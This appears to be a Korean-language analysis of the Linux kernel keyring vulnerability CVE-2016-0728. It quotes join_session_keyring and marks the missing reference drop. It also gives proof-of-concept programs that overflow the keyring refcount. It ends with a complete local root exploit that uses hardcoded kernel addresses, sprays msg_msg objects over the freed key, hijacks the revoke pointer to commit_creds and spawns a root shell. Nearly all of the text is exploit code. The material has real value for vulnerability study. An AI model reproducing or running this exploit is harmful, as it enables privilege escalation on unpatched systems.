[linux kernel][CVE-2016-0728] 분석

/* * Join the named keyring as the session keyring if possible else attempt to * create a new one of that name and join that. * * If the name is NULL, an empty anonymous keyring will be installed as the * session keyring. * * Named session keyrings are joined with a semaphore held to prevent the * keyrings from going away whilst the attempt is made to going them and also * to prevent a race in creating compatible session keyrings. */ long join_session_keyring(const char *name) { const struct cred *old; struct cred *new; struct key *keyring; long ret, serial; new = prepare_creds(); if (!new) return -ENOMEM; old = current_cred(); /* if no name is provided, install an anonymous keyring */ if (!name) { ret = install_session_keyring_to_cred(new, NULL); if (ret < 0) goto error; serial = new->session_keyring->serial; ret = commit_creds(new); if (ret == 0) ret = serial; goto okay; } /* allow the user to join or create a named keyring */ mutex_lock(&key_session_mutex); /* look for an existing keyring of this name */ keyring = find_keyring_by_name(name, false); if (PTR_ERR(keyring) == -ENOKEY) { /* not found - try and create a new one */ keyring = keyring_alloc( name, old->uid, old->gid, old, KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK, KEY_ALLOC_IN_QUOTA, NULL); if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } } else if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } else if (keyring == new->session_keyring) { ret = 0; goto error2; } /* we've got a keyring - now to install it */ ret = install_session_keyring_to_cred(new, keyring); if (ret < 0) goto error2; commit_creds(new); mutex_unlock(&key_session_mutex); ret = keyring->serial; key_put(keyring); okay: return ret; error2: mutex_unlock(&key_session_mutex); error: abort_creds(new); return ret; }

long join_session_keyring(const char *name) { const struct cred *old; struct cred *new; struct key *keyring; long ret, serial; new = prepare_creds(); if (!new) return -ENOMEM; old = current_cred(); /* if no name is provided, install an anonymous keyring */ if (!name) { ret = install_session_keyring_to_cred(new, NULL); if (ret < 0) goto error; serial = new->session_keyring->serial; ret = commit_creds(new); if (ret == 0) ret = serial; goto okay; }

/* allow the user to join or create a named keyring */ mutex_lock(&key_session_mutex); /* look for an existing keyring of this name */ keyring = find_keyring_by_name(name, false); // ref-count 증가 if (PTR_ERR(keyring) == -ENOKEY) { /* not found - try and create a new one */ keyring = keyring_alloc( // 주어진 이름으로 세션 키링 생성 name, old->uid, old->gid, old, KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK, KEY_ALLOC_IN_QUOTA, NULL); if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } } else if (IS_ERR(keyring)) { ret = PTR_ERR(keyring); goto error2; } else if (keyring == new->session_keyring) { ret = 0; goto error2; } /* we've got a keyring - now to install it */ ret = install_session_keyring_to_cred(new, keyring); // ref-count 증가 if (ret < 0) goto error2; commit_creds(new); mutex_unlock(&key_session_mutex); ret = keyring->serial; key_put(keyring); // ref-count 감소 okay: return ret; error2: mutex_unlock(&key_session_mutex); error: abort_creds(new); return ret; }

keyring = find_keyring_by_name(name, false); if (PTR_ERR(keyring) == -ENOKEY) { // 현재 존재하므로 여기론 안들어옴 } else if (IS_ERR(keyring)) { // 에러시 들어옴. 정상적이라면 안들어옴 ret = PTR_ERR(keyring); goto error2; } else if (keyring == new->session_keyring) { /* Here means that the input name just match with old keyring */ ret = 0; goto error2; // bug here ! } // 생략 error2: mutex_unlock(&key_session_mutex); error: abort_creds(new); return ret; }

} else if (keyring == new->session_keyring) { /* Here means that the input name just match with old keyring */ ret = 0; goto error2; // bug here ! }

#include <stdio.h> #include <stdlib.h> #include <keyutils.h> int main() { key_serial_t serial; serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession"); keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL); keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession"); system("cat /proc/keys"); return 0; }

#include <stddef.h> #include <stdio.h> #include <sys/types.h> #include <keyutils.h> int main(int argc, const char *argv[]) { int i = 0; key_serial_t serial; serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring"); // first time, create this keyring if (serial < 0) { perror("keyctl"); return -1; } printf("create keyring: %d\n", serial); if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) { // key permissions set // KEY_POS_ALL Grant the (view,read,write,search,link,setattr) permission to a process that possesses the key // KEY_USR_ALL Grant permissions to all same UID process perror("keyctl"); return -1; } for (i = 0; i < 100; i++) { serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, // keep triggerring "leaked-keyring"); if (serial < 0) { perror("keyctl"); return -1; } system("cat /proc/keys"); } return 0; }

#include <stdio.h> #include <stdlib.h> #include <keyutils.h> int main() { int i; key_serial_t serial; serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession"); keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL); for(i = 0; i < 0xffffffff; i++) { keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession"); } system("cat /proc/keys"); return 0; }

struct { long mtype; char mtext[BUFF_SIZE]; } msg;

/* one msg_msg structure for each message */ struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */ };

long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; int err; struct ipc_namespace *ns; ns = current->nsproxy->ipc_ns; if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; if (mtype < 1) return -EINVAL; [1] msg = load_msg(mtext, msgsz); ...

struct msg_msg *load_msg(const void __user *src, size_t len) { struct msg_msg *msg; struct msg_msgseg *seg; int err = -EFAULT; size_t alen; msg = alloc_msg(len); if (msg == NULL) return ERR_PTR(-ENOMEM); alen = min(len, DATALEN_MSG); [2] if (copy_from_user(msg + 1, src, alen)) goto out_err; for (seg = msg->next; seg != NULL; seg = seg->next) { len -= alen; src = (char __user *)src + alen; alen = min(len, DATALEN_SEG); if (copy_from_user(seg + 1, src, alen)) goto out_err; } ...

static struct msg_msg *alloc_msg(size_t len) { struct msg_msg *msg; struct msg_msgseg **pseg; size_t alen; [3] alen = min(len, DATALEN_MSG); msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL); if (msg == NULL) return NULL; msg->next = NULL; msg->security = NULL; len -= alen; pseg = &msg->next; while (len > 0) { struct msg_msgseg *seg; alen = min(len, DATALEN_SEG); [4] seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL); if (seg == NULL) goto out_err; *pseg = seg; seg->next = NULL; pseg = &seg->next; len -= alen; } ...

struct key { atomic_t usage; /* number of references */ key_serial_t serial; /* key serial number */ union { struct list_head graveyard_link; struct rb_node serial_node; }; struct rw_semaphore sem; /* change vs change sem */ struct key_user *user; /* owner of this key */ void *security; /* security data for this key */ //생략 union { struct keyring_index_key index_key; struct { struct key_type *type; /* type of key */ char *description; }; }; //생략

struct key_type { /* name of the type */ const char *name; /* default payload length for quota precalculation (optional) * - this can be used instead of calling key_payload_reserve(), that * function only needs to be called if the real datalen is different */ size_t def_datalen; /* vet a description */ int (*vet_description)(const char *description); /* Preparse the data blob from userspace that is to be the payload, * generating a proposed description and payload that will be handed to * the instantiate() and update() ops. */ int (*preparse)(struct key_preparsed_payload *prep); /* Free a preparse data structure. */ //생략 int (*match_preparse)(struct key_match_data *match_data); /* Free preparsed match data (optional). This should be supplied it * ->match_preparse() is supplied. */ void (*match_free)(struct key_match_data *match_data); /* clear some of the data from a key on revokation (optional) * - the key's semaphore will be write-locked by the caller */ void (*revoke)(struct key *key); // 요놈을 이용할꺼임 //생략

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mman.h> #include <sys/stat.h> #include <fcntl.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff8106a0e0) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff8106a3f0) struct key_type { char * name; size_t datalen; void * vet_description; void * preparse; void * free_preparse; void * instantiate; void * update; void * match_preparse; void * match_free; void * revoke; void * destroy; }; void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); } int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type *my_key_type = NULL; int msqid; struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; } printf("uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; my_key_type = malloc(sizeof(*my_key_type)); my_key_type->revoke = (void*)userspace_revoke; // backdoor function memset(msg.mtext, 'A', sizeof(msg.mtext)); // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f; //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type; if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } keyring_name = argv[1]; /* Set the new session keyring before we start */ serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; } puts("Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } sleep(20); /* here we are going to leak the last references to overflow */ for (i=0; i<3; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } puts("finished increfing"); puts("forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i = 0; i < 64;i++) { pid = fork(); if (pid == -1) { perror("fork"); return -1; } if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("finished forking"); //sleep(5); /* call userspace_revoke from kernel */ puts("caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("keyctl_revoke"); } printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL); return 0; }